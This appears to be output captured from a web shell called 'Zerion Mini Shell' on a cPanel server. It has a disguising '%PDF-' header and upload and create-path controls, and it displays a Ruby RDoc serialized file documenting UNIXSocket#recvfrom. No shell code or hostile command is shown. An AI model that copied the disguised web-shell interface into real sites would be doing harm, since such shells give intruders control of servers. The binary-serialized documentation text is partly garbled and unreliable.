%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/UNIXSocket/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/UNIXSocket/recvfrom-i.ri

U:RDoc::AnyMethod[iI"
recvfrom:ETI"UNIXSocket#recvfrom;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I")Receives a message via _unixsocket_.;To:RDoc::Markup::BlankLineo;
;	[I"8_maxlen_ is the maximum number of bytes to receive.;T@o;
;	[I"?_flags_ should be a bitwise OR of Socket::MSG_* constants.;T@o;
;	[I"H_outbuf_ will contain only the received data after the method call ;TI".even if it is not empty at the beginning.;T@o:RDoc::Markup::Verbatim;	[I"'s1 = Socket.new(:UNIX, :DGRAM, 0)
;TI")s1_ai = Addrinfo.unix("/tmp/sock1")
;TI"s1.bind(s1_ai)
;TI"
;TI"'s2 = Socket.new(:UNIX, :DGRAM, 0)
;TI")s2_ai = Addrinfo.unix("/tmp/sock2")
;TI"s2.bind(s2_ai)
;TI"'s3 = UNIXSocket.for_fd(s2.fileno)
;TI"
;TI"s1.send "a", 0, s2_ai
;TI";p s3.recvfrom(10) #=> ["a", ["AF_UNIX", "/tmp/sock1"]];T:@format0:
@fileI"ext/socket/unixsocket.c;T:0@omit_headings_from_table_of_contents_below0I"Lunixsocket.recvfrom(maxlen [, flags[, outbuf]]) => [mesg, unixaddress]
;T0[I"(*args);T@&FI"UNIXSocket;TcRDoc::NormalClass00

Zerion Mini Shell 1.0